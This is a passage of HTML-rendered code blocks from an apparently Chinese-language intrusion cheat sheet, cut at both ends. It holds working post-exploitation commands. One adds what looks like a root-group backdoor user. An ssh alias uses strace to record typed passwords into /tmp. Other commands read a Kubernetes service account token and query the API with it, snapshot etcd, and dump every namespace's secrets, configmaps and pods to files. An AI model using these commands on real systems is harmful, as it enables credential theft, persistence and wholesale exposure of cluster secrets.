204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">g root </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">G root </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">s </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">/</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">bin</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">/</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">bash </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">d </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">/</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">home</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">/</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">guest</span></p></span></span></p></li></ol></pre><h3 style="margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;color: rgb(15 23 42/var(--tw-bg-opacity));line-height: 1.35;font-size: 18px;">ssh密码备份</h3><pre style="padding-top: 8px;padding-bottom: 6px;background: rgb(45, 45, 45);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);letter-spacing: normal;text-align: start;font-size: 10px;line-height: 12px;font-family: consolas, menlo, courier, &#34;monospace&#34;, &#34;Microsoft Yahei&#34; !important;border-width: 1px !important;border-style: solid !important;border-color: rgb(226, 226, 226) !important;"><ol class="list-paddingleft-1" style="padding-top: 10px;padding-bottom: 10px;padding-left: 30px;list-style-position: initial;list-style-image: initial;color: transparent;overflow-y: auto;list-style-type: none !important;"><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">alias</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> ssh</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#39;strace -o /tmp/sshpwd-`date &#39;</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">+%</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">d</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">%</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">h</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">%</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">m</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">%</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">s</span><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#39;`.log -e read,write,connect -s2048 ssh&#39;</span></p></span></span></p></li></ol></pre><h3 style="margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;color: rgb(15 23 42/var(--tw-bg-opacity));line-height: 1.35;font-size: 18px;">查看sa权限</h3><pre style="padding-top: 8px;padding-bottom: 6px;background: rgb(45, 45, 45);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);letter-spacing: normal;text-align: start;font-size: 10px;line-height: 12px;font-family: consolas, menlo, courier, &#34;monospace&#34;, &#34;Microsoft Yahei&#34; !important;border-width: 1px !important;border-style: solid !important;border-color: rgb(226, 226, 226) !important;"><ol class="list-paddingleft-1" style="padding-top: 10px;padding-bottom: 10px;padding-left: 30px;list-style-position: initial;list-style-image: initial;color: transparent;overflow-y: auto;list-style-type: none !important;"><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">cd </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">/</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">run</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">/</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">secrets</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">/</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">kubernetes</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">io</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">/</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">serviceaccount</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">/</span></p></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"></p></span></span></p></li><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">curl </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">--</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">cacert $PWD</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">/</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">ca</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">crt </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">--</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">header </span><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;Authorization: Bearer $(cat $PWD/token)&#34;</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">H </span><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#39;Content-Type: application/json&#39;</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">i </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">s </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">k </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">X </span><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#39;POST&#39;</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">--</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">data</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">binary $</span><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#39;{\&#34;kind\&#34;:\&#34;SelfSubjectRulesReview\&#34;,\&#34;apiVersion\&#34;:\&#34;authorization.k8s.io/v1\&#34;,\&#34;metadata\&#34;:{\&#34;creationTimestamp\&#34;:null},\&#34;spec\&#34;:{\&#34;namespace\&#34;:\&#34;default\&#34;},\&#34;status\&#34;:{\&#34;resourceRules\&#34;:null,\&#34;nonResourceRules\&#34;:null,\&#34;incomplete\&#34;:false}}&#39;</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> https</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span style="color: rgb(153, 153, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">//$KUBERNETES_SERVICE_HOST:443/apis/authorization.k8s.io/v1/selfsubjectrulesreviews</span></p></span></span></p></li></ol></pre><h3 style="margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;color: rgb(15 23 42/var(--tw-bg-opacity));line-height: 1.35;font-size: 18px;">etcd备份</h3><pre style="padding-top: 8px;padding-bottom: 6px;background: rgb(45, 45, 45);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);letter-spacing: normal;text-align: start;font-size: 10px;line-height: 12px;font-family: consolas, menlo, courier, &#34;monospace&#34;, &#34;Microsoft Yahei&#34; !important;border-width: 1px !important;border-style: solid !important;border-color: rgb(226, 226, 226) !important;"><ol class="list-paddingleft-1" style="padding-top: 10px;padding-bottom: 10px;padding-left: 30px;list-style-position: initial;list-style-image: initial;color: transparent;overflow-y: auto;list-style-type: none !important;"><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">etcdctl </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">--</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">endpoints</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">http</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span style="color: rgb(153, 153, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">//xxxx:2379 snapshot save sec.db</span></p></span></span></p></li></ol></pre><h4 style="margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;color: rgb(15 23 42/var(--tw-bg-opacity));line-height: 1.35;font-size: 18px;">k8s备份</h4><pre style="padding-top: 8px;padding-bottom: 6px;background: rgb(45, 45, 45);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);letter-spacing: normal;text-align: start;font-size: 10px;line-height: 12px;font-family: consolas, menlo, courier, &#34;monospace&#34;, &#34;Microsoft Yahei&#34; !important;border-width: 1px !important;border-style: solid !important;border-color: rgb(226, 226, 226) !important;"><ol class="list-paddingleft-2" style="padding-top: 10px;padding-bottom: 10px;padding-left: 30px;list-style-position: initial;list-style-image: initial;color: transparent;overflow-y: auto;list-style-type: none !important;"><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">kubectl </span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">get</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> namespaces </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">o name </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&gt;</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> namespaces</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">txt</span></p></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">kubectl </span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">get</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> all </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">--</span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">namespace</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">default</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">o yaml </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&gt;</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">default</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">namespace</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">resources</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">yaml</span></p></span></span></p></li><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">kubectl </span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">get</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> clusterroles </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">o yaml </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&gt;</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> clusterroles</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">yaml</span></p></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">kubectl </span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">get</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> clusterrolebindings </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">o yaml </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&gt;</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> clusterrolebindings</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">yaml</span></p></span></span></p></li><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">kubectl </span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">get</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> deployments </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">--</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">all</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">namespaces </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">o yaml </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&gt;</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> deployments</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">yaml</span></p></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">kubectl </span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">get</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> configmaps </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">--</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">all</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">namespaces </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">o yaml </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&gt;</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> configmaps</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">yaml</span></p></span></span></p></li><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">kubectl </span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">get</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> secrets </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">--</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">all</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">namespaces </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">o yaml </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&gt;</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> secrets</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">yaml</span></p></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">kubectl </span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">get</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> pods </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">--</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">all</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">namespaces </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">o yaml </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&gt;</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> pods</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">yaml</span></p></span></span></p></li><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">kubectl </span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">get</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> serviceaccounts </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">--</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">all</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">namespaces </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit 